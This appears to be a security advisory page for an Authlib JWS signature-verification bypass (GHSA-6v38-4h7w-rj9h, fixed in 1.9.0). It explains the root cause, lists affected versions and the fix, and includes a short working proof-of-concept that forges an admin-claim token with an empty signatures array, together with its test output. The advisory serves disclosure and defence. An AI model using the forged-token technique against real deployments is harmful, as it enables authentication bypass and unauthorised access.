GIVE YOUR AGENT THE EVIDENCE

Set up in your agent.

One prompt to get started. Paste it into your coding agent to connect cve.new through MCP and bring vulnerability context into your workflow.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GIVE YOUR AGENT THE EVIDENCE

Investigate in your agent.

Turn this advisory into a focused investigation. Ask your agent to check your project’s versions, explain the evidence, and suggest a compatible fix.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

All vulnerabilities
GHSA-6v38-4h7w-rj9hcritical9.1

Authlib: empty signatures validation in JWS JSON deserialization

Check your stack

The advisory, in context

Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.

Root cause

authlib/jose/rfc7515/jws.py, read on the installed 1.8.0 artifact:

is_valid = True                        # set before anything is checked
for header_obj in obj["signatures"]:   # empty array means the body never runs
    jws_header, valid = self._validate_json_jws(...)
    if not valid:
        is_valid = False
...
if is_valid:
    return rv                          # returns the payload as verified

is_valid is initialised to True and only ever set to False from inside the loop. A JWS JSON Serialization object whose signatures array is empty iterates zero times, so the flag survives and the payload is returned as successfully verified. No key is consulted, because no signature is examined.

Reproduction

import base64
from authlib.jose import JsonWebSignature

def b64(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

jws = JsonWebSignature()
payload = b'{"sub":"attacker","role":"admin"}'
forged = {"payload": b64(payload), "signatures": []}

print(jws.deserialize_json(forged, key=None))

Observed on authlib 1.8.0, Python 3.14, clean virtualenv:

[A] ATTACK   general JSON, signatures:[] , key=None
    ACCEPTED  -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[B] ATTACK   general JSON, signatures:[] , key=<real key>
    ACCEPTED  -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[C] CONTROL+ genuine general JSON with 2 signatures, right key
    ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}'
[D] CONTROL- same object, first signature corrupted
    rejected (expected): BadSignatureError bad_signature:
[E] CONTROL- signatures array removed entirely (not empty, absent)
    rejected: DecodeError Missing "protected" value:

[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves tampering is caught. [E] proves this is specifically the empty-array case and not a general missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not save a caller: the empty array is accepted either way.

For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects the identical object with BadSignatureError. The correct behaviour already exists in your newer library.

Impact

Any relying party that calls JsonWebSignature.deserialize_json() on input it did not produce will accept an attacker-authored payload as signed. Where that payload carries identity or authorisation claims, this is a complete authentication bypass by an unauthenticated remote caller with no key material.

What would fix it

In _deserialize_json, reject an empty signatures array before the loop, or initialise the flag from the signature count, for example is_valid = len(obj["signatures"]) > 0. Pull request #938 proposes the same thing.

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

Ecosystem versions

Earlier releases before 1.9.0

Fixed in 1.9.0

64 explicitly affected versions

0.1, 0.10, 0.11, 0.12, 0.12.1, 0.13, 0.14, 0.14.1, 0.14.2, 0.14.3, 0.15, 0.15.1, 0.15.2, 0.15.3, 0.15.4, 0.15.5, 0.15.6, 0.1rc0, 0.2, 0.2.1, 0.3, 0.4, 0.4.1, 0.5, 0.5.1, 0.6, 0.7, 0.8, 0.9, 1.0.0, 1.0.0a1, 1.0.0a2, 1.0.0b1, 1.0.0b2, 1.0.0rc1, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.3.1, 1.3.2, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.5.2, 1.6.0, 1.6.1, 1.6.10, 1.6.11, 1.6.12, 1.6.2, 1.6.3, 1.6.4, 1.6.5, 1.6.6, 1.6.7, 1.6.8, 1.6.9, 1.7.0, 1.7.1, 1.7.2, 1.8.0

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "0"
        },
        {
          "fixed": "1.9.0"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "0.1",
    "0.10",
    "0.11",
    "0.12",
    "0.12.1",
    "0.13",
    "0.14",
    "0.14.1",
    "0.14.2",
    "0.14.3",
    "0.15",
    "0.15.1",
    "0.15.2",
    "0.15.3",
    "0.15.4",
    "0.15.5",
    "0.15.6",
    "0.1rc0",
    "0.2",
    "0.2.1",
    "0.3",
    "0.4",
    "0.4.1",
    "0.5",
    "0.5.1",
    "0.6",
    "0.7",
    "0.8",
    "0.9",
    "1.0.0",
    "1.0.0a1",
    "1.0.0a2",
    "1.0.0b1",
    "1.0.0b2",
    "1.0.0rc1",
    "1.0.1",
    "1.1.0",
    "1.2.0",
    "1.2.1",
    "1.3.0",
    "1.3.1",
    "1.3.2",
    "1.4.0",
    "1.4.1",
    "1.5.0",
    "1.5.1",
    "1.5.2",
    "1.6.0",
    "1.6.1",
    "1.6.10",
    "1.6.11",
    "1.6.12",
    "1.6.2",
    "1.6.3",
    "1.6.4",
    "1.6.5",
    "1.6.6",
    "1.6.7",
    "1.6.8",
    "1.6.9",
    "1.7.0",
    "1.7.1",
    "1.7.2",
    "1.8.0"
  ]
}

References